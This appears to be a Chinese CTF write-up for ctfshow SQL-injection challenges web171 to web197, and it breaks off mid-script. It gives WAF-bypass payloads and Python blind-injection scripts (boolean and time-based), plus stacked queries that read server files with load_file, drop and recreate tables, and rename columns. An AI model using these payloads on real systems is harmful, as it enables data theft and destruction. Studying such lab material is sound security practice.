web171

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

无过滤的字符型注入。
payload:

1
2
3
1'or'1'='1
或者
1'or 1=1--+

web172

1
2
3
4
5
6
7
8
9
10
11
查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

这里看出有一定的waf,我们并不能在username里面输入flag且返回的列里面也不能有flag。那么我们已知flag在ctfshow_user2表中,且列名为flag。直接编码即可。

payload

1
2
3
4
5
1' union select to_base64(username),password from ctfshow_user2 -- -

或者

0' union select 1,(select password from ctfshow_user2 where username='flag') %23

这里有一个细节就是如果我们采用的是get传参的方式的话,那么我们使用#时候需要使用%23。否则不会杯传到数据库中当作注释使用。

web173

1
2
3
4
5
6
7
8
9
10
11
查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

有过滤的字符型注入,添加了检查结果中是否匹配正则表达式 /flag/i ,若匹配则查询失败。
先用上一题的payload打一下试试

1
0' union select 1,2,(select password from ctfshow_user2 where username='flag') %23

密码栏出现的不是flag而是 not_here,查表名

1
0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

结果
ctfshow_user,ctfshow_user2,ctfshow_user3

查第一个表

1
0' union select 1,2,(select password from ctfshow_user where username='flag') %23

查询失败,返回结果触发了正则过滤。添加hex函数绕过正则过滤

1
0' union select 1,2,hex((select password from ctfshow_user where username='flag')) %23

结果解码后
flag_not_here

查第三个表

1
0' union select 1,2,hex((select password from ctfshow_user3 where username='flag')) %23

密码栏hex解码出flag。

或者直接把所有password连起来

1
1' union select 1,2,group_concat(password) from ctfshow_user3%23

web174

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

有过滤的字符型注入,正则表达式 /flag|[0-9]/i,返回结果中不能有数字。
hex,to_base64里面也有数字,根据给出的查询语句,构造 payload 写个布尔盲注脚本。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

import requests

payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23"
url = "http://01d55166-ae65-4991-9991-23d6f31ca0a9.challenge.ctf.show/api/v4.php?id="


def test_chr(index: int, offset: int):
response = requests.get(url + payload.format(index, offset))
assert "cluster" in response.text or "boom" in response.text
if "cluster" in response.text:
return True
elif "boom" in response.text:
return False


index = 1
flag = ""
while True:
start = 32
end = 127
while True:
if abs(start-end) == 1 or start == end:
break
point = (start + end) // 2
if test_chr(index, point):
start = point
else:
end = point
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1

还有另一种思路, 使用 replace() 把数字替换成字母

1
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23

web175

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

无过滤字符型注入,更改正则表达式为 /[\x00-\x7f]/i,过滤了 ascii 0-127,相当于没有回显,把上一题的脚本改为时间盲注

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {},1))>{},sleep(5),1) %23"
url = "http://5769ee6d-6e6e-4f44-be63-5a6853c3522e.challenge.ctf.show/api/v5.php?id="


def test_chr(index: int, offset: int):
try:
response = requests.get(url + payload.format(index, offset), timeout=1)
except:
return True
return False


index = 1
flag = ""
while True:
start = 32
end = 127
while True:
if abs(start-end) == 1 or start == end:
break
point = (start + end) // 2
if test_chr(index, point):
start = point
else:
end = point
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1

web176

1
2
3
4
5
6
7

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

有过滤的字符型注入

1
2
3
1'or'1'='1
或者
1'or 1=1%23

这里其实是对 select 进行了过滤,大小写就能绕过

1
1' union sElect 1,2,group_concat(password) from ctfshow_user%23

web177

过滤了空格(%20),用 %09 %0a %0b %0c %0d /**/代替即可

1
2
3
4
5
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23

1'or%091=1%23

1'/**/union/**/select/**/1,password,3/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web178

过滤了/**/

1
2
3
4
5
1'union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23

1'or%091=1%23

1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23

web179

增加了对 %09 %0a %0b %0d 的过滤,%0c 可以用

1
2
3
4
5
6
7
1'or'1'='1'%23

1'or(1)=(1)%23

1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c%23

web180

增加了对 #(%23) 的过滤,这里使用 –(–后加个空格) 绕过。

1
2
3
4
5
1'union%0cselect%0c1,password,3%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c

1'or'1'='1'--%0c

1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c

web181

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

过滤了 # file into select 和一堆可以代替空格的字符

1
-1'or(id=26)and'1

拼接后的 sql 语句 select id,username,password from ctfshow_user where username != ‘flag’ and id=’-1’or(id=26)and’1’ limit 1;

and 的优先级是高于 or 的

语句实际的执行顺序如下 (我们把距离 and 两边最近的相关操作都用括号括起来以便于理解, 并且补全空格)

select id,username,password from ctfshow_user where (username != ‘flag’ and id=’-1’) or (id=26 and ‘1’) limit 1;

首先因为输出只能输出一行数据, 需要 id=-1 来使前一条查询纪录为空, 使得前一条包含 and 的语句为 false

然后开始判断后一个括号内的操作, id=26 and ‘1’ 与 id=26 等价 (注意 id=26 or ‘1’ 相当于查询全部内容, 因为 or 后一句永远是 true, 即查询存在的纪录)

因为前一个括号内容不成立(返回空纪录), 后一个括号内的内容成立, 于是通过 or 符号, 我们查询了 id=26 的纪录并显示出来

因为空格被过滤了, 所以使用 () 进行绕过, 测试可知 flag 所在账户的 id 值是 26, 于是构造 or(id=26) 来查询 id=26 的数据

最后面的 and’1 是闭合后面的单引号 (因为注释被过滤掉了)

最终的 payload 为 -1’or(id=26)and’1

web182

多过滤了一个 flag,上一题的 payload 可以继续用,还可以盲注

1
2
3
-1'or(id=26)and'1

-1'or(id=26)and(if(ascii(mid(password,{},1))>{},sleep(5),1))and'1

web183

有过滤的表名位置注入,返回结果只有记录的总数。过滤函数

1
2
3
4
5
6
7
8
9

//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

ban 掉了 =,使用 like 或 regexp 构造 payload 进行布尔盲注

1
tableName=(ctfshow_user)where(pass)like('c%')

括号绕过, 注意 SQL 相关的操作符例如 where like and or 是不能加括号的, 字符串和列名能加括号
这题还能用反引号代替空格绕过

1
tableName=`ctfshow_user`where`pass`like'ctfshow{%'

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

dicts=r'1234567890-{}qwertyuiopasdfghjklzxcvbnm'

flag = 'ctfshow{'

for i in range(1,64):
for s in dicts:
data = {'tableName': '(ctfshow_user)where(pass)like(\'{}%\')'.format(flag+s)}
url = 'http://68dd6502-9f12-4e04-86da-60d7ea7d0d94.challenge.ctf.show/select-waf.php'
res = requests.post(url,data=data)
if res.text.find('$user_count = 1') != -1:
flag += s
print(flag)
break

web184

相比上题没有过滤空格, 过滤了 where 和单双引号

可以用 group by + having 绕过, 单双引号中的字符转换成十六进制

1
tableName=ctfshow_user group by pass having pass like 0xxxxxx

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time
import requests
import binascii

dicts=r'1234567890-{}qwertyuiopasdfghjklzxcvbnm'

flag = 'ctfshow{'

def tohex(string):
str_bin = string.encode('utf-8')
return binascii.hexlify(str_bin).decode('utf-8')


for i in range(1,64):
for s in dicts:
data = {'tableName': 'ctfshow_user group by pass having pass like 0x{}'.format(tohex(flag+s+'%'))}
url = 'http://ad73a3fb-1b8a-46cc-b1a2-6be67ac8a833.challenge.ctf.show/select-waf.php'
res = requests.post(url,data=data)
if res.text.find('$user_count = 1') != -1:
flag += s
print(flag)
break

另一种思路

过滤 ban 了 where,可以用 right/left/inner join 代替

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import string

import requests

url = "http://ad73a3fb-1b8a-46cc-b1a2-6be67ac8a833.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
true_flag = "$user_count = 43;"


def make_payload(has: str) -> str:
return payload.format((has).encode().hex())


def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text


flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break
if flag[-1] == "}":
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。
例如:

mysql> select * from persons;
+----+----------+----------+
| id | username | position |
+----+----------+----------+
| 1 | b477eRy | 1 |
| 2 | p1 | 1 |
| 3 | p2 | 3 |
| 4 | p3 | 2 |
| 5 | p4 | 2 |
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> select * from persons as a right join persons as b on b.position =3;
+------+----------+----------+----+----------+----------+
| id | username | position | id | username | position |
+------+----------+----------+----+----------+----------+
| 1 | b477eRy | 1 | 3 | p2 | 3 |
| 2 | p1 | 1 | 3 | p2 | 3 |
| 3 | p2 | 3 | 3 | p2 | 3 |
| 4 | p3 | 2 | 3 | p2 | 3 |
| 5 | p4 | 2 | 3 | p2 | 3 |
| NULL | NULL | NULL | 1 | b477eRy | 1 |
| NULL | NULL | NULL | 2 | p1 | 1 |
| NULL | NULL | NULL | 4 | p3 | 2 |
| NULL | NULL | NULL | 5 | p4 | 2 |
+------+----------+----------+----+----------+----------+
9 rows in set (0.00 sec)
条件有一条记录满足时,记录总数 = 总数 * 2 - 1

web185

差不多同上, 但过滤了 0-9 的数字

1
2
3
4
5
6
7
8
9
10
false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

用上表绕过,但是正则还过滤了 *,只能硬加

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import requests

flag = ['c','t','f','s','h','o','w','{']

dicts='{1234567890-qwertyuiopasdfghjklzxcvbnm}'

def tofunc(n):
strs = ''
for _ in range(n):
strs += '+true'
return 'char(' + strs + ')'

for i in range(1,64):
for s in dicts:
payload = flag + list(s)
payload.append('%')
concat_payload = 'concat(' + ','.join([tofunc(ord(x)) for x in payload]) + ')'
data = {'tableName': 'ctfshow_user group by pass having pass like {}'.format(concat_payload)}
url = 'http://562488ab-21f1-4e3c-9d95-b9dfd191ae47.challenge.ctf.show/select-waf.php'
res = requests.post(url,data=data)
if res.text.find('$user_count = 0') == -1:
flag.append(s)
print(''.join(flag))
time.sleep(3)
break

web186

同web185

web187

MD5 编码后的字符型注入

1
2
3
4
5
6
7
8
9
10
11
12

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

这里问题主要在这个MD5函数上面。因为MD5函数存在两个参数,其中第二个参数默认为false。当其为true的时候,会返回16位原始二进制字符串。因此这里需要找到一个转换为原始16位二进制字符串后满足注入。

username 只能为 admin,password 使用的 md5 函数第二个参数为 true,可用特殊 payload ffifdyop 绕过

1
2
var_dump(md5("ffifdyop", true));
//string(16) "'or'6]!r,b"

web188

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

//返回逻辑


//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

mysql里面也存在弱比较:
当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。
因此在查询的时候即使username=0,也会返回一些以0开头的数据。

alt text

alt text

这里的 $row[‘pass’] 很明显是字符串, 而 intval($password) 是整型, 根据 PHP 的弱类型漏洞, 使用 == 进行比较时, 非0开头的字符串会被转换成0, 所以这里 password 我们填0

payload

1
2
3
username=0&password=0

username=1||1&password=0

web189

load_file+regexp盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

可以利用 username 筛选条件 0 和 1 的回显不同,读文件布尔盲注 flag

exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests

url = "http://d23cab63-5e4c-459c-8734-cd341eea2387.challenge.ctf.show/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"


def find_flag_index() -> int:
start = 0
end = 1000
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload1.format(index=p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
return end


print("[*] finding flag index")
flag_index = find_flag_index()
print(f"[!] flag index found: {flag_index}")
flag = "c"
flag_index += 1
print("[*] start to injection")
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"

while flag[-1] != "}":
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload2.format(flag_index, p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
flag_index += 1

exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

dicts='{1234567890-qwertyuiopasdfghjklzxcvbnm}'

flag = 'ctfshow{'

for i in range(1,64):
for s in dicts:
payload = 'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{}\'),1,0)'.format(flag+s)
res = requests.post('http://d23cab63-5e4c-459c-8734-cd341eea2387.challenge.ctf.show/api/index.php',data={'username':payload,'password':'1'})
if res.text.find('67e5') != -1:
flag += s
print(flag)
break

exp3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url ="http://d23cab63-5e4c-459c-8734-cd341eea2387.challenge.ctf.show/api/index.php"
flag = "ctfshow{"
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,60): #此处可适当调大
for j in letter:
temp_flag = flag+j
data = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(temp_flag),
"password": 0,
}
r = requests.post(url=url,data=data)
#print(r.text)
#print(data['username'])
if "密码错误" in r.json()['msg']:
flag += j
print(flag)
break
else:
continue

web190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

有过滤的字符型注入,没有给出过滤的正则表达式,在 username 处构造 payload 布尔盲注。
先查表名,再查列名,再用列名和表名构造 payload 查 flag。

exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import time
import requests

dicts='{0123456789qwertyuiopasdfghjklzxcvbnm-_,}'

flag = ''

for i in range(1,64):
for s in dicts:
#payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
#payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()'
payload = 'select f1ag from ctfshow_fl0g'
t_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s)
res = requests.post('http://94e5d786-dad9-42a6-bc93-c263dd9fc5db.challenge.ctf.show/api/index.php',data={'username':t_payload,'password':'1'})
if res.text.find('5bc6') != -1:
flag += s
print(flag)
time.sleep(2)
break

exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

url = "http://94e5d786-dad9-42a6-bc93-c263dd9fc5db.challenge.ctf.show/api/"
# 表名 ctfshow_fl0g,ctfshow_user
# payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
# flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, p),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1

web191

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

禁用了 ascii,把脚本改成不用二分法而是暴力遍历每个字符的值。
其实不用 ascii 也可以直接用大于号比较字母的 ascii 大小,二分法还是能用的

不用二分法
exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import string

import requests

url = "http://91e8ed18-d978-4db3-a03a-5d06925d22dd.challenge.ctf.show/api/"
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \
"table_schema=database()),{},1)='{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"


def valid_char(index: int, c: chr) -> bool:
data = {
"username": payload.format(index, c),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
return true_flag in response.text


result = ""
index = 1

while True:
for char in string.printable:
print(f"\r[*] trying: {result + char}", end="")
if valid_char(index, char):
result += char
print(f"\r[*] result: {result}")
index += 1
break

用了二分法
exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

url = "http://91e8ed18-d978-4db3-a03a-5d06925d22dd.challenge.ctf.show/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1

web192

过滤正则表达式新增 ord hex
脚本同web191

web193

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

过滤正则表达式新增 substr,改用 mid 即可

exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

url = "http://23d22f2d-9545-41ed-ae53-57a8c6877a80.challenge.ctf.show/api/"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end).lower() # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因 但可以肯定跟没用 ascii() 有关
print(f"[*] result: {result}")
index += 1

使用like注入
exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url='http://23d22f2d-9545-41ed-ae53-57a8c6877a80.challenge.ctf.show/api/'
flag=""
letter = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"
for i in range(0,100):
for j in letter:
#payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)#".format(flag+j+"%")
#ctfshow_flxg
#payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)#".format(flag+j+"%")
#id,f1ag
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")
#ctfshow{7259adb9-4f34-4c72-bbeb-0fd74517cd3c}
data={
'username':payload,
'password':1
}
#print(payload)
r=requests.post(url=url,data=data)
#print(r.text)
if "密码错误" in r.json()['msg']:
flag+=j
print(flag)
if j=='}':
exit()
break

web194

过滤正则表达式新增 char left right substring
脚本同web193

web195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

mysql 堆叠注入

思路就是通过 update 更新登录账号的密码
试了一下 update 好像不能用括号, 本地测试失败了
但是能用反引号 (加在表名和列名两侧)
之后把用户名改成0 (原理上面说过, mysql 的弱类型转换, 0可以匹配任意一条记录), 密码改成1登录即可

1
2
username: 0;update`ctfshow_user`set`pass`=1
password: 1

web196

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

正则里面写了ban select,实际上出题人忘了ban select….

payload:

1
2
username:0;select(1);
password:1

执行 select(1) 使记录返回1
所以前面的 select pass 就被顶掉了
如果不是堆叠注入的话, 需要让前面报错 (即查不到结果), 这样才能返回 union 后的查询内容

web197

1
2
3
4
5
6
7
8
9
10
11
12
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

hint为”用户名可以很长”

没有过滤空格, 过滤了 select (这次是真过滤了), 另外 update 也被过滤了
根据 hint 的提示来说, 可以对数据表进行 drop create 操作

1
1;drop table ctfshow_user;create table ctfshow_user(username varchar(255),pass varchar(255));insert ctfshow_user values(1,1)

insert 操作可以不加 into

另一种思路

有过滤的数字型注入,没有过滤分号可堆叠注入。没有禁用 空格 alter table change column,id 相比 password 具有递增规律更容易爆破,互换 id 和 password 列名爆破。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://bcbdfab3-6670-47fb-8540-4dfcf83ea6e7.challenge.ctf.show/api/"

def alter_table():
data = {
"username": "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)",
"password": 1
}
_ = requests.post(url, data=data)

success_flag = "\\u767b\\u9646\\u6210\\u529f"

def brute_force_admin():
for i in range(300):
data = {
